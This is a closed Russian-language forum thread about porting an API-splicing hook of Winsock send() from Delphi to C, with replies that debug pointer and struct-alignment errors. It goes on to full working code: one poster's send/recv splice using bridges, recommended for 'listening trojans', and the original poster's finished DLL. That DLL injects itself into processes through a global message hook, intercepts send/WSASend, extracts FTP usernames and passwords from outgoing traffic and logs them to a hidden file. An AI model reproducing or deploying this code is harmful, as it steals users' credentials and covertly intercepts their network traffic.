переписываю перехват апи от ms-rem , возник 1 вопрос

Тема в разделе "LANGS.C", создана пользователем shsh, 3 янв 2008.

Статус темы:
Закрыта.
  1. shsh

    shsh Member

    Публикаций:
    0
    Регистрация:
    3 янв 2008
    Сообщения:
    69
    Вобщем переписываю с делфи на си нижеприведённый код :
    Код (Text):
    1. library mshlp;
    2.  
    3. uses
    4.   windows,winsock;
    5.  
    6. type
    7.  OldCode = packed record
    8.   One: dword;
    9.   two: word;
    10.  end;
    11.  
    12.  
    13.  
    14.   far_jmp = packed record
    15.   PuhsOp: byte;
    16.   PushArg: pointer;
    17.   RetOp: byte;
    18.  end;
    19.  
    20. var
    21.  
    22.  
    23.  Jmpwss: far_jmp;
    24.  Oldwss: OldCode;
    25.  wssAdr: pointer;
    26.  
    27.  
    28. procedure process_data(s:tsocket;tx:pchar);
    29. var
    30. size:integer;
    31. pname:TSockAddr;
    32. begin
    33.  
    34.  тра ля ля ;
    35. end;
    36.  
    37. function i(Int: integer): string;
    38. begin
    39. Str(Int, result);
    40. end;
    41.  
    42.  
    43.  
    44. function send(s: tsocket; var buf; len, flags: integer): integer; stdcall;external 'ws2_32.dll';
    45.  
    46. function Truesend(s: tsocket; var buf; len, flags: integer): integer;stdcall;
    47. var
    48.  Written: dword;
    49. begin
    50.   WriteProcessMemory(INVALID_HANDLE_VALUE, wssAdr, @Oldwss, SizeOf(OldCode), Written);
    51.   Result := send(s, buf, len, flags);
    52.   WriteProcessMemory(INVALID_HANDLE_VALUE, wssAdr, @Jmpwss, SizeOf(far_jmp), Written);
    53. end;
    54.  
    55. function Newsend(s: tsocket; var buf; len, flags: integer): integer;stdcall;
    56. var
    57. tx:pchar;
    58.  
    59. begin
    60.   Result := Truesend(s, buf, len, flags);
    61.  
    62.   getmem(tx,len+1);
    63.   tx:=pchar(@buf);
    64.   process_data(s,tx);
    65. end;
    66.  
    67.  
    68.  
    69. Procedure SetHook();
    70. var
    71.  hws2_32: dword;
    72.  Bytes: dword;
    73. begin
    74.  
    75.  
    76.  
    77.   hws2_32 := GetModuleHandle('ws2_32.dll');
    78.   wssAdr  := GetProcAddress(hws2_32, 'send');
    79.   ReadProcessMemory(INVALID_HANDLE_VALUE, wssAdr, @Oldwss, SizeOf(OldCode), Bytes);
    80.   Jmpwss.PuhsOp  := $68;
    81.   Jmpwss.PushArg := @Newsend;
    82.   Jmpwss.RetOp   := $C3;
    83.   WriteProcessMemory(INVALID_HANDLE_VALUE, wssAdr, @Jmpwss, SizeOf(far_jmp), Bytes2);
    84.  
    85.  
    86. end;
    87.  
    88. Procedure Unhook();
    89. var
    90.  Bytes,Bytes2: dword;
    91. begin
    92.  
    93.   WriteProcessMemory(INVALID_HANDLE_VALUE, wssAdr, @Oldwss, SizeOf(OldCode), Bytes2);
    94.  
    95. end;
    96.  
    97.  
    98. // залепа
    99. Function MessageProc(code : integer; wParam : word;
    100.                     lParam : longint) : longint; stdcall;
    101. begin
    102.  CallNextHookEx(0, Code, wParam, lparam);
    103.  Result := 0;
    104. end;
    105.  
    106. Procedure SetGlobalHookProc();
    107. begin
    108.  SetWindowsHookEx(WH_GETMESSAGE, @MessageProc, HInstance, 0);
    109.  Sleep(INFINITE);
    110. end;
    111. //
    112.  
    113. Procedure SetGlobalHook();
    114. var
    115.  hMutex: dword;
    116.  TrId: dword;
    117. begin
    118.  hMutex := CreateMutex(nil, false, 'zxc');
    119.  if GetLastError = 0 then
    120.  CreateThread(nil, 0, @SetGlobalHookProc, nil, 0, TrId) else
    121.  CloseHandle(hMutex);
    122. end;
    123.  
    124.  
    125. procedure DLLEntryPoint(dwReason: DWord);
    126. begin
    127.   case dwReason of
    128.     DLL_PROCESS_ATTACH: begin
    129.                           SetGlobalHook();
    130.                           Randomize();
    131.                           SetHook()
    132.                         end;
    133.     DLL_PROCESS_DETACH: UnHook();
    134.   end;
    135. end;
    136.  
    137.  
    138. begin
    139.  
    140.  DllProc := @DLLEntryPoint;
    141.  DLLEntryPoint(DLL_PROCESS_ATTACH);
    142. end.
    на делфи всё работает как часы , перехватывае send

    однако на си нехочет :

    Код (Text):
    1. #include <stdio.h>
    2. #include <windows.h>
    3. #include <winsock.h>
    4.  
    5.  
    6. struct OldCode {
    7.     DWORD One;
    8.     WORD two;
    9. };
    10.  
    11. struct far_jmp {
    12.   unsigned char  PuhsOp;
    13.   DWORD PushArg;
    14.   unsigned char  RetOp;
    15.    
    16. };
    17.  
    18.  
    19. DWORD   wssAdr;
    20. OldCode Oldwss;
    21. far_jmp Jmpwss;
    22.  
    23.  
    24. int WINAPI Truesend(SOCKET s, const char FAR * buf, int len,  int flags)
    25. {
    26.     DWORD Written;
    27.     int ret;
    28.    
    29.     WriteProcessMemory(INVALID_HANDLE_VALUE, &wssAdr, &Oldwss, sizeof(OldCode), &Written);
    30.     ret = send(s, buf, len, flags);
    31.     WriteProcessMemory(INVALID_HANDLE_VALUE, &wssAdr, &Jmpwss, sizeof(far_jmp), &Written);
    32.     return ret;
    33. }
    34.  
    35.  
    36.  
    37. int WINAPI   Newsend(SOCKET s, const char FAR * buf, int len,  int flags)
    38. {
    39.    
    40.     MessageBox(0,"Newsend","1",1);
    41.     return Truesend(s, buf, len, flags);
    42.  
    43. }
    44.  
    45.  
    46.  
    47. LRESULT  WINAPI  MessageProc(int nCode, WPARAM wParam, LPARAM lParam)
    48. {
    49.    
    50.    
    51.     MessageBox(0,"MessageProc","1",1);
    52.     CallNextHookEx(0, nCode, wParam, lParam);
    53.     return 0;
    54. }
    55.  
    56.  
    57.  
    58. unsigned long WINAPI  SetGlobalHookProc(void*)
    59. {
    60.     MessageBox(0,"SetGlobalHookProc","1",1);
    61.     SetWindowsHookEx(WH_GETMESSAGE, MessageProc, 0, 0);
    62.     Sleep(INFINITE);
    63.     return 0;
    64. }
    65.  
    66.  
    67.  
    68. void SetGlobalHook()
    69. {
    70.    
    71.     MessageBox(0,"SetGlobalHook","1",1);
    72.     DWORD hMutex,trId;
    73.     hMutex = (DWORD)CreateMutex(NULL, false, "z1xc");
    74.     if (0 == GetLastError())
    75.     CreateThread(NULL, 1024, SetGlobalHookProc, NULL, 0, &trId);
    76.     else
    77.     CloseHandle((void*)hMutex);
    78.  
    79. }
    80.  
    81. void SetHook()
    82. {
    83.    
    84.     char buf[1024];
    85.     HINSTANCE hws2_32;
    86.     unsigned long Bytes;
    87.  
    88.       hws2_32 = GetModuleHandle("ws2_32.dll");
    89.    
    90.  
    91.  
    92.       wssAdr=(DWORD)GetProcAddress(hws2_32, "send");
    93.  
    94.       ReadProcessMemory(INVALID_HANDLE_VALUE, &wssAdr, &Oldwss, sizeof(OldCode), &Bytes);
    95.       Jmpwss.PuhsOp  = 0x68;
    96.       Jmpwss.PushArg =   (DWORD)Newsend;
    97.       Jmpwss.RetOp   = 0xC3;
    98.       WriteProcessMemory(INVALID_HANDLE_VALUE, &wssAdr, &Jmpwss, sizeof(far_jmp), &Bytes);
    99.  
    100.        
    101.  
    102. }
    103.  
    104. void UnHook()
    105. {
    106.     unsigned long Bytes;
    107.     WriteProcessMemory(INVALID_HANDLE_VALUE, &wssAdr, &Oldwss, sizeof(OldCode), &Bytes);
    108.  
    109.  
    110.  
    111. }
    112.  
    113.  
    114.  
    115.  
    116.  
    117. BOOL WINAPI DllMain(HINSTANCE hinstDll, DWORD fdwReason, PVOID fImpLoad)
    118. {
    119.    
    120.    
    121.     switch( fdwReason ) {
    122.  
    123.         case DLL_PROCESS_ATTACH:
    124.                 SetGlobalHook();
    125.                 SetHook();
    126.  
    127.             break;
    128.  
    129.         case DLL_PROCESS_DETACH:
    130.                 UnHook();
    131.             break;
    132.  
    133.     }
    134.     return true;
    135. }
    в конкретно затык происходит на участке
    Код (Text):
    1.       wssAdr=(DWORD)GetProcAddress(hws2_32, "send");
    2.  
    3.       ReadProcessMemory(INVALID_HANDLE_VALUE, &wssAdr, &Oldwss, sizeof(OldCode), &Bytes);
    4.       Jmpwss.PuhsOp  = 0x68;
    5.       Jmpwss.PushArg =   (DWORD)Newsend;
    6.       Jmpwss.RetOp   = 0xC3;
    7.       WriteProcessMemory(INVALID_HANDLE_VALUE, &wssAdr, &Jmpwss, sizeof(far_jmp), &Bytes);
    а ещё точнее Jmpwss.PushArg = (DWORD)Newsend; , через месаджбокс просматривал значение Jmpwss.PushArg оно в сишной либе иное нежели в дельфийной
     
  2. Freeman

    Freeman New Member

    Публикаций:
    0
    Регистрация:
    10 фев 2005
    Сообщения:
    1.385
    Адрес:
    Ukraine
    надо wssAdr, а не &wssAdr
     
  3. shsh

    shsh Member

    Публикаций:
    0
    Регистрация:
    3 янв 2008
    Сообщения:
    69
    ReadProcessMemory' : cannot convert parameter 2 from 'unsigned long' to 'const void *'

    если объявить wssAdr как DWORD* то компилятор ругается на wssAdr=(DWORD)GetProcAddress(hws2_32, "send");
     
  4. Rascalspb

    Rascalspb New Member

    Публикаций:
    0
    Регистрация:
    19 май 2005
    Сообщения:
    46
    Адрес:
    СПб
    shsh
    выравнивание на байт устанволено в структурах?
    зЫ: иное оно потому, что функция Newsend в длл, скомпиленой в делфе, лежит по другому адресу, нежели в скомпиленой сишной либе
     
  5. Freeman

    Freeman New Member

    Публикаций:
    0
    Регистрация:
    10 фев 2005
    Сообщения:
    1.385
    Адрес:
    Ukraine
    shsh
    а ты про приведенее типов слышол?
     
  6. LLInuoH

    LLInuoH New Member

    Публикаций:
    0
    Регистрация:
    25 ноя 2006
    Сообщения:
    15
    нет, тут затык именно в том что студия выравнивает данные по 8 байт, сравни что возращает студия и делфи на sizeof(far_jmp), студия мне вроде давала 12, а делфи 6...
    я уже сталкивался с этой проблемой...
    для хранения данных я использовал не стурктуры а просто массив BYTE
    но можно решить и другим путем, перед обьявлением far_jmp и OldCode вставить директиву #pragma pack (push, 1)
    этот метод будет пожалуй правильнее...
     
  7. Rascalspb

    Rascalspb New Member

    Публикаций:
    0
    Регистрация:
    19 май 2005
    Сообщения:
    46
    Адрес:
    СПб
    LLInuoH
    тут затык и с указателями. ибо он пишет не по адресу функции, а по адресу, где лежит переменная wssAdr. Поэтому даже когда он починит выравнивание структуры, работать хук не будет. Помойму человек рановато решил занимаца такими вещами, если не понимает, что дает строка &wssAdr =)
     
  8. LLInuoH

    LLInuoH New Member

    Публикаций:
    0
    Регистрация:
    25 ноя 2006
    Сообщения:
    15
    да, вы правы, просто я неособо внимательно посмотрел код увидев ошибку в самом начале...
    и зачем эта куча ненужных приведений к DWORD? Вы в С++ используйте PVOID.
     
  9. RET

    RET Well-Known Member

    Публикаций:
    17
    Регистрация:
    5 янв 2008
    Сообщения:
    789
    Адрес:
    Jabber: darksys@sj.ms
    Вот мой полностью рабочий код сплайса recv и send (ws2_32.dll) by MS-Rem на C (API)
    с использованием мостов, что выгодно при написании "слушающих" троев, т.к. сам код реально ничего не импортирует из сокетов и т.п.:
    Код (Text):
    1. /////////////////////////////
    2. //Coded by RET(c)2007//
    3. ///////////////////////////
    4. #pragma once
    5. #define _WIN32_WINNT 0x501
    6. #include <windows.h>
    7. int (PASCAL FAR *tsend )(SOCKET s, const char FAR * buf,int len,int flags);
    8. int (PASCAL FAR *trecv )(SOCKET s,char FAR * buf,int len,int flags);
    9. int PASCAL FAR sends (SOCKET s, const char FAR * buf,int len,int flags)
    10. {
    11.     //<-processing
    12.     return tsend(s,buf,len,flags);
    13. }
    14.  
    15. int PASCAL FAR recvs (SOCKET s,char FAR * buf,int len,int flags)
    16. {
    17.     int rl=trecv(s,buf,len,flags);
    18.     //<-processing
    19.     return rl;
    20. }
    21.  
    22. //Splicing with bridge (autor MS-Rem)
    23. //**********************************************
    24. bool SPLIS(void)
    25. {
    26.     HMODULE WS_H=NULL;
    27.     GetModuleHandleEx(GET_MODULE_HANDLE_EX_FLAG_PIN,"ws2_32.dll",&WS_H);
    28.     if(WS_H==NULL) return false;;
    29.     DWORD sendA=(DWORD)GetProcAddress(WS_H,"send");
    30.     DWORD recvA=(DWORD)GetProcAddress(WS_H,"recv");
    31.     if(sendA && recvA)
    32.     {
    33.       BYTE* rbridg=(BYTE*)VirtualAlloc(NULL,10,MEM_COMMIT,PAGE_EXECUTE_READWRITE);
    34.       BYTE* sbridg=(BYTE*)VirtualAlloc(NULL,10,MEM_COMMIT,PAGE_EXECUTE_READWRITE);
    35.       DWORD Protects;
    36.       DWORD Protectr;
    37.       VirtualProtect((LPVOID)sendA, 5, PAGE_EXECUTE_READWRITE, &Protects);
    38.       VirtualProtect((LPVOID)recvA, 5, PAGE_EXECUTE_READWRITE, &Protectr);
    39.       ReadProcessMemory(GetCurrentProcess(), (LPVOID)sendA, sbridg, 5, 0);
    40.       ReadProcessMemory(GetCurrentProcess(), (LPVOID)recvA, rbridg, 5, 0);
    41.       if(!memcmp(sbridg,rbridg,5))
    42.       {
    43.         sbridg[5]=0xE9;
    44.         rbridg[5]=0xE9;
    45.         DWORD JA=sendA-(DWORD)sbridg-5;
    46.         memcpy(&sbridg[6],&JA,4);
    47.         JA=recvA-(DWORD)rbridg-5;
    48.         memcpy(&rbridg[6],&JA,4);
    49.         tsend=(int (PASCAL*)(SOCKET,const char*,int,int))(DWORD)sbridg;
    50.         trecv=(int (PASCAL*)(SOCKET,char*,int,int))(DWORD)rbridg;
    51.         BYTE jmp[5]={0xe9,0x00,0x00,0x00,0x00};
    52.         JA=(DWORD)recvs - recvA - 5;
    53.         memcpy(&jmp[1],&JA,4);
    54.         if(WriteProcessMemory(GetCurrentProcess(),(LPVOID)recvA,jmp, 5, 0))
    55.         {
    56.           JA=(DWORD)sends - sendA - 5;
    57.           memcpy(&jmp[1],&JA,4);
    58.           if(WriteProcessMemory(GetCurrentProcess(),(LPVOID)sendA,jmp, 5, 0))
    59.           {
    60.             VirtualProtect((LPVOID)sendA, 5, Protects, &Protects);
    61.             VirtualProtect((LPVOID)recvA, 5, Protectr, &Protectr);
    62.             return true;
    63.           }
    64.         }
    65.       }
    66.     }
    67.     return false;
    68. }
    Помню я долго доходил до выделения под примитив моста VirtualAlloc(NULL,..,MEM_COMMIT,PAGE_EXECUTE_READWRITE), остальное все сделано по технике MS-Rem. Кстати здесь только конкретный пример конкретного применения.
    Сейчас кстати готовлю новый интересный рецепт. Скоро выложу.
     
  10. shsh

    shsh Member

    Публикаций:
    0
    Регистрация:
    3 янв 2008
    Сообщения:
    69
    вот готовый пример для сбора фтп акков , в виде длл
    main.c
    Код (Text):
    1. #include <stdio.h>
    2. #include <winsock2.h>
    3.  
    4. char addr[255],ftp_user[255],ftp_pass[255];
    5.  
    6.  
    7. int save(char *s)
    8. {
    9.     FILE * Tlog = fopen("c:\\ntload","a");
    10.     fputs(s,Tlog);
    11.     fclose(Tlog);
    12.     return 0;
    13. }
    14.  
    15.  
    16.  
    17. int ProcessOutData(SOCKET s , char* buf)
    18. {
    19.     char tmp[255];
    20.  
    21.     int size=sizeof(SOCKADDR_IN);;
    22.     SOCKADDR_IN pname;
    23.  
    24.    
    25.  
    26.     getpeername(s,&pname,&size);
    27.     strcpy(addr,inet_ntoa(pname.sin_addr));
    28.  
    29.  
    30.     if(ntohs(pname.sin_port)==21)
    31.     {
    32.         if(buf[0]=='U')
    33.         {
    34.             strcpy(ftp_user,buf);
    35.             strcpy(ftp_user,strstr(ftp_user," ")+1);
    36.             ftp_user[strlen(ftp_user)-2]=0;
    37.            
    38.         }
    39.         if(buf[3]=='S')
    40.         {
    41.             strcpy(ftp_pass,buf);
    42.             strcpy(ftp_pass,strstr(ftp_pass," ")+1);
    43.             ftp_pass[strlen(ftp_pass)-2]=0;
    44.            
    45.         }
    46.  
    47.         if(strcmp(ftp_user,"") && strcmp(ftp_pass,""))
    48.         {
    49.            
    50.            
    51.             strcpy(tmp,"ftp://");
    52.             strcat(tmp,ftp_user);
    53.             strcat(tmp,":");
    54.             strcat(tmp,ftp_pass);  
    55.             strcat(tmp,"@");
    56.             strcat(tmp,addr);
    57.             strcat(tmp,"\n");
    58.  
    59.             save(tmp);
    60.  
    61.             strcpy(ftp_user,"");
    62.             strcpy(ftp_pass,"");
    63.         }
    64.     }
    65.  
    66.  
    67.    
    68.  
    69.     return 0;
    70. }
    71.  
    72.  
    73. #include "h_send.h"
    74. #include "h_WSASend.h"
    75.  
    76. #include "hook.h"
    77.  
    78.  
    79.  
    80.  
    81. BOOL WINAPI DllMain(HINSTANCE hinstDll, DWORD fdwReason, PVOID fImpLoad)
    82. {
    83.     switch( fdwReason ) {
    84.         case DLL_PROCESS_ATTACH:
    85.                 hDLL=hinstDll;
    86.                 SetGlobalHook();
    87.                 SetHook();
    88.             break;
    89.         case DLL_PROCESS_DETACH:
    90.                 UnHook();
    91.             break;
    92.     }
    93.     return true;
    94. }
    h_send.h
    Код (Text):
    1. LPVOID   wssAdr;
    2. OldCode Oldwss;
    3. far_jmp Jmpwss;
    4.  
    5.  
    6.  
    7.  
    8.  
    9. int WINAPI Truesend(SOCKET s, const char FAR * buf, int len,  int flags)
    10. {
    11.     DWORD Written;
    12.     int ret;
    13.    
    14.     WriteProcessMemory(INVALID_HANDLE_VALUE, wssAdr, &Oldwss, sizeof(OldCode), &Written);
    15.     ret = send(s, buf, len, flags);
    16.     WriteProcessMemory(INVALID_HANDLE_VALUE, wssAdr, &Jmpwss, sizeof(far_jmp), &Written);
    17.     return ret;
    18. }
    19.  
    20.  
    21.  
    22. int WINAPI   Newsend(SOCKET s,  char FAR * buf, int len,  int flags)
    23. {
    24.    
    25.     ProcessOutData(s,buf);
    26.     return Truesend(s, buf, len, flags);
    27.  
    28. }
    h_WSASend.h
    Код (Text):
    1. LPVOID   wssAdr2;
    2. OldCode Oldwss2;
    3. far_jmp Jmpwss2;
    4.  
    5.  
    6. int TrueWSASend(  SOCKET s, LPWSABUF lpBuffers, DWORD dwBufferCount, LPDWORD lpNumberOfBytesSent, DWORD dwFlags,LPWSAOVERLAPPED lpOverlapped, LPWSAOVERLAPPED_COMPLETION_ROUTINE lpCompletionRoutine)
    7. {
    8.     DWORD Written;
    9.     int ret;
    10.     ProcessOutData(s,lpBuffers->buf);
    11.     WriteProcessMemory(INVALID_HANDLE_VALUE, wssAdr2, &Oldwss2, sizeof(OldCode), &Written);
    12.     ret = WSASend(s, lpBuffers, dwBufferCount, lpNumberOfBytesSent,dwFlags,lpOverlapped,lpCompletionRoutine);
    13.     WriteProcessMemory(INVALID_HANDLE_VALUE, wssAdr2, &Jmpwss2, sizeof(far_jmp), &Written);
    14.     return ret;
    15.  
    16. }
    17.  
    18. int NewWSASend(  SOCKET s, LPWSABUF lpBuffers, DWORD dwBufferCount, LPDWORD lpNumberOfBytesSent, DWORD dwFlags,LPWSAOVERLAPPED lpOverlapped, LPWSAOVERLAPPED_COMPLETION_ROUTINE lpCompletionRoutine)
    19. {
    20.     return TrueWSASend(s, lpBuffers, dwBufferCount, lpNumberOfBytesSent,dwFlags,lpOverlapped,lpCompletionRoutine);
    21.  
    22.  
    23.  
    24. }
     
  11. RET

    RET Well-Known Member

    Публикаций:
    17
    Регистрация:
    5 янв 2008
    Сообщения:
    789
    Адрес:
    Jabber: darksys@sj.ms
    Сплайсинг без мостов все же в многопоточных приложениях, юзающих сокеты не совсем правильно.
     
  12. gribodemon

    gribodemon New Member

    Публикаций:
    0
    Регистрация:
    17 июн 2009
    Сообщения:
    138
    shsh
    Код (Text):
    1.         if(buf[3]=='S')
    2.         {
    3.             strcpy(ftp_pass,buf);
    4.             strcpy(ftp_pass,strstr(ftp_pass," ")+1);
    5.             ftp_pass[strlen(ftp_pass)-2]=0;
    6.            
    7.         }
    OMG!

    Смотрю сейчас логи WireShark'а. Использую TCMD. Там как раз после команды PASS используется OPTS.
    ГГ
     
  13. TermoSINteZ

    TermoSINteZ Синоби даоса Команда форума

    Публикаций:
    2
    Регистрация:
    11 июн 2004
    Сообщения:
    3.552
    Адрес:
    Russia
    Пожалуй стоит закрыть. А то флейм пойдет.
     
Статус темы:
Закрыта.